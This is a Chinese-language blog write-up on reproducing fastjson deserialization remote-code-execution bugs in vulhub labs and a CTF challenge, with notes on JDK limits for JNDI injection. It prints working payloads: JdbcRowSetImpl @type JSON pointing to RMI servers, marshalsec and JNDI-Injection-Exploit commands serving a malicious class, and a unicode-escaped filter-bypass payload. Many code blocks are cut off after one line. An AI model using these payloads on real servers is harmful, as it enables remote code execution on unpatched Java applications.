fastjson漏洞学习及高版本JDK绕过
还是一年前写的文章 继续复现一下
这是两年前写的文章 为了准备面试再翻出来 呜呜呜 3.8号开始搞
前言
fastjson,之前刷安全网站不知道刷到了多少遍。。。终于有机会好好学一下了
漏洞历史
vulhub上有fastjson的两个版本的rce – 1.2.24-rce 1.2.47-rce 具体大家可以参考下面的两篇文章
https://paper.seebug.org/1192/#fastjson_2
https://www.hacking8.com/bug-product/fastjsoon/fastjson%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8.html
由于时间也不是那么多 今天就把两个vulhub上的简单漏洞给切了 (虽然很老了 但总要回顾经典 不是吗?🙄
About fastjson?
可以看到 现在已经出到了1.2.78 版本了
我们可以看到在1.2.69 仍存在反序列化漏洞 :https://snyk.io/vuln/maven:com.alibaba%3Afastjson
在1.2.68 仍存在远程代码执行漏洞:https://nsfocusglobal.com/fastjson-1-2-68-and-earlier-remote-code-execution-vulnerability-threat-alert/
不过也是很久远的事情了 不过很多java开发的网站 可能缺乏管理 并不会去更新fastjson版本 有些没有安全意识的程序员在引用时 可能直接百度
ctrl +c/v 搞了一个老版本的依赖 总之 安全性还是不容忽视的 更何况这玩意还是中国人写的 有些水开发还就喜欢用 废话不多说 直接开搞
漏洞复现
CVE-2019-14540 远程代码执行漏洞分析
首先看一下fastjson怎么运作的
1 | package test; |
会同时调用 get 和 set 方法 如果函数中存在一些敏感操作,则可能导致漏洞产生
1 | JSONObject user = JSON.parseObject(userInfo); |
这样只会调用 set 方法
1 | User user = (User) JSON.parse(userInfo); |
另外,将json中的age元素删除后,使用JSON.parseObject
,仍然会调用getAge
方法
也就是说parseObject
调用全部属性的get
方法,和设置属性的set
方法
关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记 - tr1ple - 博客园 (cnblogs.com)
fastjson 1.2.24
感觉在vulhub只能做参考 还是本地搭建一下环境
直接新建个maven项目 然后把从maven仓库中找到的对应depenence扔到pom中就ok了(怎么感觉比php复现还简单
参考了下面这篇文章
https://www.freebuf.com/vuls/208339.html
算了还是现在vulhub上做一遍
搭好环境 估计就是一个很简单的fastjson利用 我们可以发些简单的数据让fastjson搞
还是来关注一下dockerfile 额 看不到dockefile 。。。进去看看
首先就是java的版本
1 | root@9c2bc313b52f:/# java -version |
然后jar包放在了 这个目录下
1 | root@9c2bc313b52f:/usr/src# ls |
额 就不拉出来反编译了
给的payload就这一句话 我们
1 | {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}} |
也可以看vulhub官方给的复现
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce
官方的复现利用了JNDI注入 学习一下
先把这个编译了
1 | javac -d xxx\ xxx\exp.java |
1 | import java.lang.Runtime; |
神奇
1 | python -m http.server 8888 |
我们直接把文件用 python 开个端口 给挂上
marshalsec-0.0.3-SNAPSHOT-all.jar · LiBuJie/marshalsec-jar - Gitee.com
这里可以下到编译好的jar包
启动
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/exp.class" 7777 |
终于复现成功了 我直接哭死
首先。。。 不能写127.0.0.1
!!!
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8888/exp.class" 7777 |
我tm被坑死 要写ip!!!!!!
1 | POST / |
包里也要写ip!!!
fastjson 1.2.47
vulhub
启动一个恶意服务器
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl 0.0.0.0:1" -A "服务器" |
1 | { |
成功执行
绕过
这里我们通过一道CTF题目来分析
香山杯(也不知道是啥比赛)一道题 (github上一位师傅库里的 随便找的)
还是老样子 先看看 pom
1 |
|
除了个fastjson的版本 没啥别的有用的信息
看看别的
怎么说呢 就是先过滤了一些东西
然后调用了 一个函数
一个绕过题目
unicode编码
1 | payload={"e":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"name":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://127.0.0.1:1099/3q7sr7","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}} |
fastjson1.2.68
fastjson1.2.80
高版本JDK的JNDI注入绕过
Attention
可以先看张图 0.0
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。